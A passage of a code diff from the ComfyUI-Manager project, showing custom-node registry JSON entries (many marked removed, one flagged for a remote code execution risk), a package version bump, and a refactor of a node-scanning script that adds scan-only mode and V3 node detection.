"https://github.com/agxagi/ComfyUI-GPT4o-Image-Gen-FLUX-DEV"
],
"install_type": "git-clone",
"description": "A custom ComfyUI node that implements an Autoregressive Transformer and Rolling Diffusion-like Decoder using Black Forest Lab's Flux-Dev model for accurate text-to-image generation, similar to GPT-4o's image generation approach.\nNOTE: The files in the repo are not organized."
},
{
"author": "walke2019",
"title": "ComfyUI-GGUF-VisionLM [REMOVED]",
"reference": "https://github.com/walke2019/ComfyUI-GGUF-VisionLM",
"files": [
"https://github.com/walke2019/ComfyUI-GGUF-VisionLM"
],
"install_type": "git-clone",
"description": "ComfyUI nodes for running GGUF quantized Qwen2.5-VL models using llama.cpp"
},
{
"author": "neocrz",
"title": "comfyui-tinyae [REMOVED]",
"reference": "https://github.com/neocrz/comfyui-tinyae",
"files": [
"https://github.com/neocrz/comfyui-tinyae"
],
"install_type": "git-clone",
"description": "NODES: TinyAE Encode (Image/Video), TinyAE Decode (Image/Video), TinyAE Encode Tiled (Image), TinyAE Decode Tiled (Image)"
},
{
"author": "Laser-one",
"title": "ComfyUI-align-pose [REMOVED]",
"reference": "https://github.com/Laser-one/ComfyUI-align-pose",
"files": [
"https://github.com/Laser-one/ComfyUI-align-pose"
],
"install_type": "git-clone",
"description": "NODES:align pose"
},
{
"author": "nomadoor",
"title": "ComfyUI Video Stabilizer",
"reference": "https://github.com/nomadoor/ComfyUI-Video-Stabilizer",
"files": [
"https://github.com/nomadoor/ComfyUI-Video-Stabilizer"
],
"install_type": "git-clone",
"description": "Two complementary stabiliser nodes for ComfyUI: Video Stabilizer (Classic), Video Stabilizer (Flow)"
},
{
"author": "0xhappydev",
"title": "comfyui-qwen-image-tools",
"reference": "https://github.com/0xhappydev/comfyui-qwen-image-tools",
"files": [
"https://github.com/0xhappydev/comfyui-qwen-image-tools"
],
"install_type": "git-clone",
"description": "Custom nodes for Qwen-Image-Edit with multi-image support, more flexibility around the vision transformer (qwen2.5-vl), custom system prompts, and some other experimental things to come."
},
{
"author": "Rathius-Saranoth",
"title": "Rathius ComfyUI Nodes",
"reference": "https://github.com/Rathius-Saranoth/rathius-comfyui-nodes",
"files": [
"https://github.com/Rathius-Saranoth/rathius-comfyui-nodes"
],
"install_type": "git-clone",
"description": "Custom nodes for ComfyUI by Rathius"
},
{
"author": "Hiero207",
"title": "Hiero-Nodes [REMOVED]",
"id": "hiero",
"reference": "https://github.com/Hiero207/ComfyUI-Hiero-Nodes",
"files": [
"https://github.com/Hiero207/ComfyUI-Hiero-Nodes"
],
"install_type": "git-clone",
"description": "Nodes:Post to Discord w/ Webhook"
},
{
"author": "NeoDroleDeGueule",
"title": "comfyui-image-mixer",
"reference": "https://github.com/NeoDroleDeGueule/comfyui-image-mixer [REMOVED]",
"files": [
"https://github.com/NeoDroleDeGueule/comfyui-image-mixer"
],
"install_type": "git-clone",
"description": "A ComfyUI custom node that blends two images in latent space using a mix factor slider."
},
{
"author": "Glarus-akash",
"title": "ComfyUI_Image_Upscaler [REMOVED]",
"reference": "https://github.com/Glarus-akash/ComfyUI_Image_Upscaler",
"files": [
"https://github.com/Glarus-akash/ComfyUI_Image_Upscaler"
],
"install_type": "git-clone",
"description": "Welcome to the Image Upscaler & Restorer project! This tool utilizes the [a/GFPGAN](https://github.com/TencentARC/GFPGAN) algorithm to enhance and restore images, providing a seamless way to improve image quality."
},
{
"author": "styletransfer",
"title": "Sequential Group Controller for ComfyUI [REMOVED]",
"reference": "https://github.com/styletransfer/ComfyUI_SequentialGroupController",
"files": [
"https://github.com/styletransfer/ComfyUI_SequentialGroupController"
],
"install_type": "git-clone",
"description": "Control which groups execute based on iteration ranges - a simplified alternative to complex conditional branching workflows."
},
{
"author": "xl0",
"title": "q_tools [REMOVED]",
"reference": "https://github.com/xl0/q_tools",
"files": [
"https://github.com/xl0/q_tools"
],
"install_type": "git-clone",
"description": "NODES: QLoadLatent, QLinearScheduler, QPreviewLatent, QGaussianLatent, QUniformLatent, QKSampler"
},
{
"author": "tmode-1960",
"title": "comfyui-ta-nodes-pack [REMOVED]",
"reference": "https://github.com/tmode-1960/comfyui-ta-nodes-pack",
"files": [
"https://github.com/tmode-1960/comfyui-ta-nodes-pack"
],
"install_type": "git-clone",
"description": "Model loaders with an additional model name output"
},
{
"author": "Shadetail",
"title": "Eagleshadow Custom Nodes [REMOVED]",
"id": "eagleshadow",
"reference": "https://github.com/Shadetail/ComfyUI_Eagleshadow",
"files": [
"https://github.com/Shadetail/ComfyUI_Eagleshadow"
],
"install_type": "git-clone",
"description": "Custom nodes for ComfyUI by Eagleshadow."
},
{
"author": "manycore-maas",
"title": "ComfyUI-SpatialGen [REMOVED]",
"reference": "https://github.com/manycore-maas/ComfyUI-SpatialGen",
"files": [
"https://github.com/manycore-maas/ComfyUI-SpatialGen"
],
"install_type": "git-clone",
"description": "Scene Viewer of SpatialGen"
},
{
"author": "YinBailiang",
"title": "MergeBlockWeighted_fo_ComfyUI [REMOVED]",
"id": "mergeblockweighted_fo_comfyui",
"reference": "https://github.com/YinBailiang/MergeBlockWeighted_fo_ComfyUI",
"files": [
"https://github.com/YinBailiang/MergeBlockWeighted_fo_ComfyUI"
],
"install_type": "git-clone",
"description": "Nodes: MergeBlockWeighted"
},
{
"author": "facok",
"title": "ComfyUI-FokToolset [REMOVED]",
"reference": "https://github.com/facok/ComfyUI-FokToolset",
"files": [
"https://github.com/facok/ComfyUI-FokToolset"
],
"install_type": "git-clone",
"description": "NODES: Fok Preprocess Ref Image (Phantom)"
},
{
"author": "Elawphant",
"title": "ComfyUI-MusicGen [WIP]",
"id": "musicgen",
"reference": "https://github.com/Elawphant/ComfyUI-MusicGen",
"files": [
"https://github.com/Elawphant/ComfyUI-MusicGen"
],
"install_type": "git-clone",
"description": "ComfyUI for Meta MusicGen."
},
{
"author": "isaac-mcfadyen",
"title": "ComfyUI-QwenClip [REMOVED]",
"reference": "https://github.com/isaac-mcfadyen/ComfyUI-QwenClip",
"files": [
"https://github.com/isaac-mcfadyen/ComfyUI-QwenClip"
],
"install_type": "git-clone",
"description": "A variety of random text encoder tools intended for use with ComfyUI and Qwen Image/Qwen Image Edit. More (may) be added as I try out various modifications to Qwen Image."
},
{
"author": "Gaotian",
"title": "KLComfyUI-Nodes [REMOVED]",
"reference": "https://github.com/Gaotian-cpu/KLComfyUI-Nodes",
"files": [
"https://github.com/Gaotian-cpu/KLComfyUI-Nodes"
],
"install_type": "git-clone",
"description": "NODES: Single Video_Img Callback"
},
{
"author": "geltz",
"title": "Momentum Guidance for ComfyUI [REMOVED]",
"reference": "https://github.com/geltz/ComfyUI-MomentumGuidance",
"files": [
"https://github.com/geltz/ComfyUI-MomentumGuidance"
],
"install_type": "git-clone",
"description": "Momentum Guidance (MG) is a training-free guidance method that reduces computational cost by 40% compared to standard guidance techniques like CFG or PAG."
},
{
"author": "GeekyGhost",
"title": "Studio42 Image, Audio, and Video Editing Suite for ComfyUI [REMOVED]",
"reference": "https://github.com/GeekyGhost/24oiduts-ComfyUI",
"files": [
"https://github.com/GeekyGhost/24oiduts-ComfyUI"
],
"install_type": "git-clone",
"description": "Studio42 is a comprehensive suite of advanced custom nodes that brings professional-grade image and video editing capabilities to ComfyUI. Designed for efficiency, quality, and creative flexibility, this suite provides cutting-edge background removal, layer composition, and patch manipulation tools used in modern VFX and content creation workflows."
},
{
"author": "rvage",
"title": "ComfyUI-RvTools-X [REMOVED]",
"reference": "https://github.com/r-vage/ComfyUI-RvTools-X",
"files": [
"https://github.com/r-vage/ComfyUI-RvTools-X"
],
"install_type": "git-clone",
"description": "ComfyUI custom nodes and utilities for workflow building, type conversions, checkpoint/pipe loaders and file utilities."
},
{
"author": "heyburns",
"title": "LinxUtil [REMOVED]",
"reference": "https://github.com/heyburns/LinxUtil",
"files": [
"https://github.com/heyburns/LinxUtil"
],
"install_type": "git-clone",
"description": "Utility nodes for ComfyUI. Created solely for my own use case, shared as a courtesy only.\nNOTE: The files in the repo are not organized."
},
{
"author": "fcanfora",
"title": "comfyui-camera-tools [REMOVED]",
"reference": "https://github.com/fcanfora/comfyui-camera-tools",
"files": [
"https://github.com/fcanfora/comfyui-camera-tools"
],
"install_type": "git-clone",
"description": "NODES: Load Camera From File, Load 3D, Load 3D - Animation, Preview 3D, Preview 3D - Animation"
},
{
"author": "ziwang-com",
"title": "comfyui-deepseek-r1 [REMOVED]",
"reference": "https://github.com/ziwang-com/comfyui-deepseek-r1",
"files": [
"https://github.com/ziwang-com/comfyui-deepseek-r1"
],
"install_type": "git-clone",
"description": "Comfyui-deepseek-r1 Node Plugin"
},
{
"author": "leeguandong",
"title": "ComfyUI nodes to use Xverse [REMOVED]",
"reference": "https://github.com/leeguandong/ComfyUI_Xverse",
"files": [
"https://github.com/leeguandong/ComfyUI_Xverse"
],
"install_type": "git-clone",
"description": "The ComfyUI version of [a/XVerse](https://github.com/bytedance/XVerse)"
},
{
"author": "Dehypnotic",
"title": "Dehypnotic Save nodes [REMOVED]",
"reference": "https://github.com/Dehypnotic/comfyui-dehypnotic-save-nodes",
"files": [
"https://github.com/Dehypnotic/comfyui-dehypnotic-save-nodes"
],
"install_type": "git-clone",
"description": "Save toolkit for audio, image, and video: MP3 audio export with VBR/CBR options, multi-format image saving with workflow/thumbnail metadata, and video + frame encoding (MP4/MKV/WEBM/MOV) — all sharing whitelist-safe paths and rich placeholder templating."
},
{
"author": "znuost10",
"title": "comfyui-multi-float-output [REMOVED]",
"reference": "https://github.com/znuost10/comfyui-multi-float-output",
"files": [
"https://github.com/znuost10/comfyui-multi-float-output"
],
"install_type": "git-clone",
"description": "System monitoring API endpoints for ComfyUI by otoy SKW"
},
{
"author": "rakki194",
"title": "ComfyUI_WolfSigmas [UNSAFE/REMOVED]",
"reference": "https://github.com/rakki194/ComfyUI_WolfSigmas",
"files": [
"https://github.com/rakki194/ComfyUI_WolfSigmas"
],
"install_type": "git-clone",
"description": "This custom nodepack for ComfyUI provides a suite of tools for generating and manipulating sigma schedules for diffusion models. These nodes are particularly useful for fine-tuning the sampling process, experimenting with different step counts, and adapting schedules for specific models.[w/Security Warning: Remote Code Execution]"
},
{
"author": "Maff3u",
"title": "MattiaNodes - Points Editor On Cropped [REMOVED]",
"reference": "https://github.com/Maff3u/MattiaNodes",
"files": [
"https://github.com/Maff3u/MattiaNodes"
],
"install_type": "git-clone",
"description": "A standalone ComfyUI custom node for interactive coordinate editing with crop factor correction.\nNOTE: The files in the repo are not organized."
},
{
"author": "rakki194",
"title": "ComfyUI-ImageCompare [REMOVED]",
"reference": "https://github.com/rakki194/ComfyUI-ImageCompare",
"files": [
"https://github.com/rakki194/ComfyUI-ImageCompare"
],
"install_type": "git-clone",
"description": "A simple custom node for ComfyUI that allows you to compare two images (or batches of images) side-by-side within the UI."
},
{
"author": "APZmedia",
"title": "NormalMapLightEstimator [REMOVED]",
"reference": "https://github.com/APZmedia/Comfyui-LightDirection-estimation",
"files": [
"https://github.com/APZmedia/Comfyui-LightDirection-estimation"
],
"install_type": "git-clone",
"description": "A ComfyUI custom node for estimating light direction and quality from normal maps using luma masking. The system analyzes surface normals to infer lighting information for downstream tasks like adaptive relighting, directional masking, or stylized effects."
},
{
"author": "APZmedia",
"title": "ComfyUI APZmedia PSD Tools [REMOVED]",
"reference": "https://github.com/APZmedia/APZmedia-ComfyUI-PSDtools",
"files": [
"https://github.com/APZmedia/APZmedia-ComfyUI-PSDtools"
],
"install_type": "git-clone",
"description": "This extension provides PSD layer saving functionalities with mask support for ComfyUI."
},
{
"author": "huixingyun",
"title": "ComfyUI-HX-Pimg [REMOVED]",
"reference": "https://github.com/huixingyun/ComfyUI-HX-Pimg",
"files": [
"https://github.com/huixingyun/ComfyUI-HX-Pimg"
],
"install_type": "git-clone",
"description": "Some custom nodes used for pimg (a comfyui controller deployed in huixingyun)."
},
{
"author": "rvage",
"title": "ComfyUI-RvToolsX [REMOVED]",
"reference": "https://github.com/r-vage/ComfyUI-RvToolsX",
"files": [
"https://github.com/r-vage/ComfyUI-RvToolsX"
],
"install_type": "git-clone",
"description": "ComfyUI custom nodes and utilities for workflow building, type conversions, checkpoint/pipe loaders and file utilities."
},
{
"author": "usman2003",
"title": "ComfyUI-RaceDetect [REMOVED]",
"reference": "https://github.com/usman2003/ComfyUI-RaceDetect",
"files": [
"https://github.com/usman2003/ComfyUI-RaceDetect"
],
"install_type": "git-clone",
"description": "NODES: Race Detection V2"
},
{
"author": "lihaoyun6",
"title": "ComfyUI-CSV-Random-Picker [REMOVED]",
"reference": "https://github.com/lihaoyun6/ComfyUI-CSV-Random-Picker",
"files": [
"https://github.com/lihaoyun6/ComfyUI-CSV-Random-Picker"
],
"install_type": "git-clone",
"description": "String random picker for ComfyUI"
},
{
"author": "r-vage",
"title": "ComfyUI-RvTools_v2 [REMOVED]",
"reference": "https://github.com/r-vage/ComfyUI-RvTools_v2",
"files": [
"https://github.com/r-vage/ComfyUI-RvTools_v2"
],
"install_type": "git-clone",
"description": "this node contains a lot of small little helpers like switches, passers and selectors that i use a lot to build my workflows."
},
{
"author": "Yuxi Liu",
"title": "comfyui-ddu [REMOVED]",
"reference": "https://github.com/YL-Lyx/Comfyui-ddu-toolchain",
"files": [
"https://github.com/YL-Lyx/Comfyui-ddu-toolchain"
],
"install_type": "git-clone",
"description": "ai-driven toolchain for digital design and fabrication "
},
{
"author": "lu64k",
"title": "SK-Nodes [REMOVED]",
"reference": "https://github.com/lu64k/SK-Nodes",
"files": [
"https://github.com/lu64k/SK-Nodes"
],
"install_type": "git-clone",
"description": "NODES:image select, Load AnyLLM, Ask LLM, OpenAI DAlle Node, SK Text_String, SK Random File Name"
},
{
"author": "SiggEye",
"title": "FaceCanon — Consistent Faces at Any Resolution [REMOVED]",
"reference": "https://github.com/SiggEye/FaceCanon",
"files": [
"https://github.com/SiggEye/FaceCanon"
],
"install_type": "git-clone",
"description": "FaceCanon scales a detected face to a canonical pixel size, lets you run your favorite face detailer at that sweet spot, then maps the result back into the original image with seamless blending. The payoff is consistent face style no matter the input resolution or framing."
},
{
"author": "AlfredClark",
"title": "ComfyUI-ModelSpec [REMOVED]",
"reference": "https://github.com/AlfredClark/ComfyUI-ModelSpec",
"files": [
"https://github.com/AlfredClark/ComfyUI-ModelSpec"
],
"install_type": "git-clone",
"description": "ComfyUI model metadata editing nodes."
},
{
"author": "VraethrDalkr",
"title": "ComfyUI-ProgressiveBlend [REMOVED]",
"reference": "https://github.com/VraethrDalkr/ComfyUI-ProgressiveBlend",
"files": [
"https://github.com/VraethrDalkr/ComfyUI-ProgressiveBlend"
],
"install_type": "git-clone",
"description": "A collection of custom nodes for ComfyUI that enable progressive blending and color matching effects across image batches/video frames."
},
{
"author": "xmarked-ai",
"title": "ComfyUI_misc [REMOVED]",
"reference": "https://github.com/xmarked-ai/ComfyUI_misc",
"files": [
"https://github.com/xmarked-ai/ComfyUI_misc"
],
"install_type": "git-clone",
"description": "NODES: Ace IntegerX, Ace FloatX, Ace Color FixX, White Balance X, Depth Displace X, Empty Latent X, KSampler Combo X, ..."
},
{
"author": "sm079",
"title": "ComfyUI-Face-Detection [REMOVED]",
"reference": "https://github.com/sm079/ComfyUI-Face-Detection",
"files": [
"https://github.com/sm079/ComfyUI-Face-Detection"
],
"install_type": "git-clone",
"description": "face detection nodes for comfyui"
},
{
"author": "42lux",
"title": "ComfyUI-42lux [REMOVED]",
"reference": "https://github.com/42lux/ComfyUI-42lux",
"files": [
"https://github.com/42lux/ComfyUI-42lux"
],
"install_type": "git-clone",
"description": "A collection of custom nodes for ComfyUI focused on enhanced sampling, model optimization, and quality improvements."
},
{
"author": "lucak5s",
"title": "ComfyUI GFPGAN [REMOVED]",
"reference": "https://github.com/lucak5s/comfyui_gfpgan",
"files": [
"https://github.com/lucak5s/comfyui_gfpgan"
],
"install_type": "git-clone",
"description": "Face restoration with GFPGAN."
},
{
"author": "impactframes",
"title": "IF_AI_tools [DEPRECATED]",
"id": "impactframes-tools",
"reference": "https://github.com/if-ai/ComfyUI-IF_AI_tools",
"files": [
"https://github.com/if-ai/ComfyUI-IF_AI_tools"
],
"install_type": "git-clone",
"description": "Various AI tools to use in Comfy UI. Starting with VL and prompt making tools using Ollma as backend will evolve as I find time."
},
{
"author": "netroxin",
"title": "comfyui_netro [REMOVED]",
"reference": "https://github.com/netroxin/comfyui_netro",
"files": [
"https://github.com/netroxin/comfyui_netro"
],
"install_type": "git-clone",
"description": "#Camera Movement Prompt Node for ComfyUI\nThis custom node script for ComfyUI generates descriptive camera movement prompts based on user-selected movement options for Wan2.2"
},
{
"author": "aistudynow",
"title": "comfyui-HunyuanImage-2.1 [REMOVED]",
@@ -672,16 +1357,6 @@
"install_type": "git-clone",
"description": "This node provides advanced text-to-speech functionality powered by KokoroTTS. Follow the instructions below to install, configure, and use the node within your portable ComfyUI installation."
},
{
"author": "MushroomFleet",
"title": "DJZ-Pedalboard [REMOVED]",
"reference": "https://github.com/MushroomFleet/DJZ-Pedalboard",
"files": [
"https://github.com/MushroomFleet/DJZ-Pedalboard"
],
"install_type": "git-clone",
"description": "This project provides a collection of custom nodes designed for enhanced audio effects in ComfyUI. With an intuitive pedalboard interface, users can easily integrate and manipulate various audio effects within their workflows."
},
{
"author": "MushroomFleet",
"title": "SVG Suite for ComfyUI [REMOVED]",
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+10
View File
@@ -361,6 +361,16 @@
],
"install_type": "git-clone",
"description": "Vibe Coded ComfyUI Custom Nodes"
},
{
"author": "aiforhumans",
"title": "XDev Nodes - Complete Toolkit",
"reference": "https://github.com/aiforhumans/comfyui-xdev-nodes",
"files": [
"https://github.com/aiforhumans/comfyui-xdev-nodes"
],
"install_type": "git-clone",
"description": "Complete ComfyUI development toolkit with 8 professional nodes including VAE tools, universal type testing, and comprehensive debugging infrastructure."
}
]
}
+3 -3
View File
@@ -5,7 +5,7 @@ build-backend = "setuptools.build_meta"
[project]
name = "comfyui-manager"
license = { text = "GPL-3.0-only" }
version = "4.0.3b1"
version = "4.1b8"
requires-python = ">= 3.9"
description = "ComfyUI-Manager provides features to install and manage custom nodes for ComfyUI, as well as various functionalities to assist with ComfyUI."
readme = "README.md"
@@ -46,10 +46,10 @@ Repository = "https://github.com/ltdrdata/ComfyUI-Manager"
[tool.setuptools.packages.find]
where = ["."]
include = ["comfyui_manager*"]
include = ["comfyui_manager*", "cm_cli*"]
[project.scripts]
cm-cli = "comfyui_manager.cm_cli.__main__:main"
cm-cli = "cm_cli:main"
[tool.ruff]
line-length = 120
+1 -1
View File
@@ -2,7 +2,7 @@ GitPython
PyGithub
# matrix-nio
transformers
huggingface-hub>0.20
huggingface-hub
typer
rich
typing-extensions
+348 -62
View File
@@ -7,13 +7,15 @@ import concurrent
import datetime
import concurrent.futures
import requests
import warnings
import argparse
builtin_nodes = set()
import sys
from urllib.parse import urlparse
from github import Github
from github import Github, Auth
def download_url(url, dest_folder, filename=None):
@@ -39,26 +41,51 @@ def download_url(url, dest_folder, filename=None):
raise Exception(f"Failed to download file from {url}")
# prepare temp dir
if len(sys.argv) > 1:
temp_dir = sys.argv[1]
else:
temp_dir = os.path.join(os.getcwd(), ".tmp")
def parse_arguments():
"""Parse command-line arguments"""
parser = argparse.ArgumentParser(
description='ComfyUI Manager Node Scanner',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
Examples:
# Standard mode
python3 scanner.py
python3 scanner.py --skip-update
if not os.path.exists(temp_dir):
os.makedirs(temp_dir)
# Scan-only mode
python3 scanner.py --scan-only temp-urls-clean.list
python3 scanner.py --scan-only urls.list --temp-dir /custom/temp
python3 scanner.py --scan-only urls.list --skip-update
'''
)
parser.add_argument('--scan-only', type=str, metavar='URL_LIST_FILE',
help='Scan-only mode: provide URL list file (one URL per line)')
parser.add_argument('--temp-dir', type=str, metavar='DIR',
help='Temporary directory for cloned repositories')
parser.add_argument('--skip-update', action='store_true',
help='Skip git clone/pull operations')
parser.add_argument('--skip-stat-update', action='store_true',
help='Skip GitHub stats collection')
parser.add_argument('--skip-all', action='store_true',
help='Skip all update operations')
# Backward compatibility: positional argument for temp_dir
parser.add_argument('temp_dir_positional', nargs='?', metavar='TEMP_DIR',
help='(Legacy) Temporary directory path')
args = parser.parse_args()
return args
skip_update = '--skip-update' in sys.argv or '--skip-all' in sys.argv
skip_stat_update = '--skip-stat-update' in sys.argv or '--skip-all' in sys.argv
if not skip_stat_update:
g = Github(os.environ.get('GITHUB_TOKEN'))
else:
g = None
print(f"TEMP DIR: {temp_dir}")
# Module-level variables (will be set in main if running as script)
args = None
scan_only_mode = False
url_list_file = None
temp_dir = None
skip_update = False
skip_stat_update = True
g = None
parse_cnt = 0
@@ -73,12 +100,22 @@ def extract_nodes(code_text):
parse_cnt += 1
code_text = re.sub(r'\\[^"\']', '', code_text)
parsed_code = ast.parse(code_text)
with warnings.catch_warnings():
warnings.filterwarnings('ignore', category=SyntaxWarning)
warnings.filterwarnings('ignore', category=DeprecationWarning)
parsed_code = ast.parse(code_text)
# Support both ast.Assign and ast.AnnAssign (for type-annotated assignments)
assignments = (node for node in parsed_code.body if isinstance(node, (ast.Assign, ast.AnnAssign)))
assignments = (node for node in parsed_code.body if isinstance(node, ast.Assign))
for assignment in assignments:
if isinstance(assignment.targets[0], ast.Name) and assignment.targets[0].id in ['NODE_CONFIG', 'NODE_CLASS_MAPPINGS']:
# Handle ast.AnnAssign (e.g., NODE_CLASS_MAPPINGS: Type = {...})
if isinstance(assignment, ast.AnnAssign):
if isinstance(assignment.target, ast.Name) and assignment.target.id in ['NODE_CONFIG', 'NODE_CLASS_MAPPINGS']:
node_class_mappings = assignment.value
break
# Handle ast.Assign (e.g., NODE_CLASS_MAPPINGS = {...})
elif isinstance(assignment.targets[0], ast.Name) and assignment.targets[0].id in ['NODE_CONFIG', 'NODE_CLASS_MAPPINGS']:
node_class_mappings = assignment.value
break
else:
@@ -90,7 +127,7 @@ def extract_nodes(code_text):
for key in node_class_mappings.keys:
if key is not None and isinstance(key.value, str):
s.add(key.value.strip())
return s
else:
return set()
@@ -98,6 +135,99 @@ def extract_nodes(code_text):
return set()
def has_comfy_node_base(class_node):
"""Check if class inherits from io.ComfyNode or ComfyNode"""
for base in class_node.bases:
# Case 1: ComfyNode
if isinstance(base, ast.Name) and base.id == 'ComfyNode':
return True
# Case 2: io.ComfyNode
elif isinstance(base, ast.Attribute):
if base.attr == 'ComfyNode':
return True
return False
def extract_keyword_value(call_node, keyword):
"""
Extract string value of keyword argument
Schema(node_id="MyNode") -> "MyNode"
"""
for kw in call_node.keywords:
if kw.arg == keyword:
# ast.Constant (Python 3.8+)
if isinstance(kw.value, ast.Constant):
if isinstance(kw.value.value, str):
return kw.value.value
# ast.Str (Python 3.7-) - suppress deprecation warning
else:
with warnings.catch_warnings():
warnings.filterwarnings('ignore', category=DeprecationWarning)
if hasattr(ast, 'Str') and isinstance(kw.value, ast.Str):
return kw.value.s
return None
def is_schema_call(call_node):
"""Check if ast.Call is io.Schema() or Schema()"""
func = call_node.func
if isinstance(func, ast.Name) and func.id == 'Schema':
return True
elif isinstance(func, ast.Attribute) and func.attr == 'Schema':
return True
return False
def extract_node_id_from_schema(class_node):
"""
Extract node_id from define_schema() method
"""
for item in class_node.body:
if isinstance(item, ast.FunctionDef) and item.name == 'define_schema':
# Walk through function body
for stmt in ast.walk(item):
if isinstance(stmt, ast.Call):
# Check if it's Schema() call
if is_schema_call(stmt):
node_id = extract_keyword_value(stmt, 'node_id')
if node_id:
return node_id
return None
def extract_v3_nodes(code_text):
"""
Extract V3 node IDs using AST parsing
Returns: set of node_id strings
"""
global parse_cnt
try:
if parse_cnt % 100 == 0:
print(".", end="", flush=True)
parse_cnt += 1
with warnings.catch_warnings():
warnings.filterwarnings('ignore', category=SyntaxWarning)
warnings.filterwarnings('ignore', category=DeprecationWarning)
tree = ast.parse(code_text)
except (SyntaxError, UnicodeDecodeError):
return set()
nodes = set()
# Find io.ComfyNode subclasses
for node in ast.walk(tree):
if isinstance(node, ast.ClassDef):
# Check if inherits from ComfyNode
if has_comfy_node_base(node):
node_id = extract_node_id_from_schema(node)
if node_id:
nodes.add(node_id)
return nodes
# scan
def scan_in_file(filename, is_builtin=False):
global builtin_nodes
@@ -105,13 +235,18 @@ def scan_in_file(filename, is_builtin=False):
with open(filename, encoding='utf-8', errors='ignore') as file:
code = file.read()
pattern = r"_CLASS_MAPPINGS\s*=\s*{([^}]*)}"
# Support type annotations (e.g., NODE_CLASS_MAPPINGS: Type = {...}) and line continuations (\)
pattern = r"_CLASS_MAPPINGS\s*(?::\s*\w+\s*)?=\s*(?:\\\s*)?{([^}]*)}"
regex = re.compile(pattern, re.MULTILINE | re.DOTALL)
nodes = set()
class_dict = {}
# V1 nodes detection
nodes |= extract_nodes(code)
# V3 nodes detection
nodes |= extract_v3_nodes(code)
code = re.sub(r'^#.*?$', '', code, flags=re.MULTILINE)
def extract_keys(pattern, code):
@@ -208,6 +343,53 @@ def get_nodes(target_dir):
return py_files, directories
def get_urls_from_list_file(list_file):
"""
Read URLs from list file for scan-only mode
Args:
list_file (str): Path to URL list file (one URL per line)
Returns:
list of tuples: [(url, "", None, None), ...]
Format: (url, title, preemptions, nodename_pattern)
- title: Empty string
- preemptions: None
- nodename_pattern: None
File format:
https://github.com/owner/repo1
https://github.com/owner/repo2
# Comments starting with # are ignored
Raises:
FileNotFoundError: If list_file does not exist
"""
if not os.path.exists(list_file):
raise FileNotFoundError(f"URL list file not found: {list_file}")
urls = []
with open(list_file, 'r', encoding='utf-8') as f:
for line_num, line in enumerate(f, 1):
line = line.strip()
# Skip empty lines and comments
if not line or line.startswith('#'):
continue
# Validate URL format (basic check)
if not (line.startswith('http://') or line.startswith('https://')):
print(f"WARNING: Line {line_num} is not a valid URL: {line}")
continue
# Add URL with empty metadata
# (url, title, preemptions, nodename_pattern)
urls.append((line, "", None, None))
print(f"Loaded {len(urls)} URLs from {list_file}")
return urls
def get_git_urls_from_json(json_file):
with open(json_file, encoding='utf-8') as file:
data = json.load(file)
@@ -264,13 +446,43 @@ def clone_or_pull_git_repository(git_url):
print(f"Failed to clone '{repo_name}': {e}")
def update_custom_nodes():
def update_custom_nodes(scan_only_mode=False, url_list_file=None):
"""
Update custom nodes by cloning/pulling repositories
Args:
scan_only_mode (bool): If True, use URL list file instead of custom-node-list.json
url_list_file (str): Path to URL list file (required if scan_only_mode=True)
Returns:
dict: node_info mapping {repo_name: (url, title, preemptions, node_pattern)}
"""
if not os.path.exists(temp_dir):
os.makedirs(temp_dir)
node_info = {}
git_url_titles_preemptions = get_git_urls_from_json('custom-node-list.json')
# Select URL source based on mode
if scan_only_mode:
if not url_list_file:
raise ValueError("url_list_file is required in scan-only mode")
git_url_titles_preemptions = get_urls_from_list_file(url_list_file)
print("\n[Scan-Only Mode]")
print(f" - URL source: {url_list_file}")
print(" - GitHub stats: DISABLED")
print(f" - Git clone/pull: {'ENABLED' if not skip_update else 'DISABLED'}")
print(" - Metadata: EMPTY")
else:
if not os.path.exists('custom-node-list.json'):
raise FileNotFoundError("custom-node-list.json not found")
git_url_titles_preemptions = get_git_urls_from_json('custom-node-list.json')
print("\n[Standard Mode]")
print(" - URL source: custom-node-list.json")
print(f" - GitHub stats: {'ENABLED' if not skip_stat_update else 'DISABLED'}")
print(f" - Git clone/pull: {'ENABLED' if not skip_update else 'DISABLED'}")
print(" - Metadata: FULL")
def process_git_url_title(url, title, preemptions, node_pattern):
name = os.path.basename(url)
@@ -382,46 +594,59 @@ def update_custom_nodes():
if not skip_stat_update:
process_git_stats(git_url_titles_preemptions)
# Git clone/pull for all repositories
with concurrent.futures.ThreadPoolExecutor(11) as executor:
for url, title, preemptions, node_pattern in git_url_titles_preemptions:
executor.submit(process_git_url_title, url, title, preemptions, node_pattern)
py_url_titles_and_pattern = get_py_urls_from_json('custom-node-list.json')
# .py file download (skip in scan-only mode - only process git repos)
if not scan_only_mode:
py_url_titles_and_pattern = get_py_urls_from_json('custom-node-list.json')
def download_and_store_info(url_title_preemptions_and_pattern):
url, title, preemptions, node_pattern = url_title_preemptions_and_pattern
name = os.path.basename(url)
if name.endswith(".py"):
node_info[name] = (url, title, preemptions, node_pattern)
def download_and_store_info(url_title_preemptions_and_pattern):
url, title, preemptions, node_pattern = url_title_preemptions_and_pattern
name = os.path.basename(url)
if name.endswith(".py"):
node_info[name] = (url, title, preemptions, node_pattern)
try:
download_url(url, temp_dir)
except Exception:
print(f"[ERROR] Cannot download '{url}'")
with concurrent.futures.ThreadPoolExecutor(10) as executor:
executor.map(download_and_store_info, py_url_titles_and_pattern)
with concurrent.futures.ThreadPoolExecutor(10) as executor:
executor.map(download_and_store_info, py_url_titles_and_pattern)
return node_info
def gen_json(node_info):
def gen_json(node_info, scan_only_mode=False):
"""
Generate extension-node-map.json from scanned node information
Args:
node_info (dict): Repository metadata mapping
scan_only_mode (bool): If True, exclude metadata from output
"""
# scan from .py file
node_files, node_dirs = get_nodes(temp_dir)
comfyui_path = os.path.abspath(os.path.join(temp_dir, "ComfyUI"))
node_dirs.remove(comfyui_path)
node_dirs = [comfyui_path] + node_dirs
# Only reorder if ComfyUI exists in the list
if comfyui_path in node_dirs:
node_dirs.remove(comfyui_path)
node_dirs = [comfyui_path] + node_dirs
data = {}
for dirname in node_dirs:
py_files = get_py_file_paths(dirname)
metadata = {}
nodes = set()
for py in py_files:
nodes_in_file, metadata_in_file = scan_in_file(py, dirname == "ComfyUI")
nodes.update(nodes_in_file)
# Include metadata from .py files in both modes
metadata.update(metadata_in_file)
dirname = os.path.basename(dirname)
@@ -436,17 +661,28 @@ def gen_json(node_info):
if dirname in node_info:
git_url, title, preemptions, node_pattern = node_info[dirname]
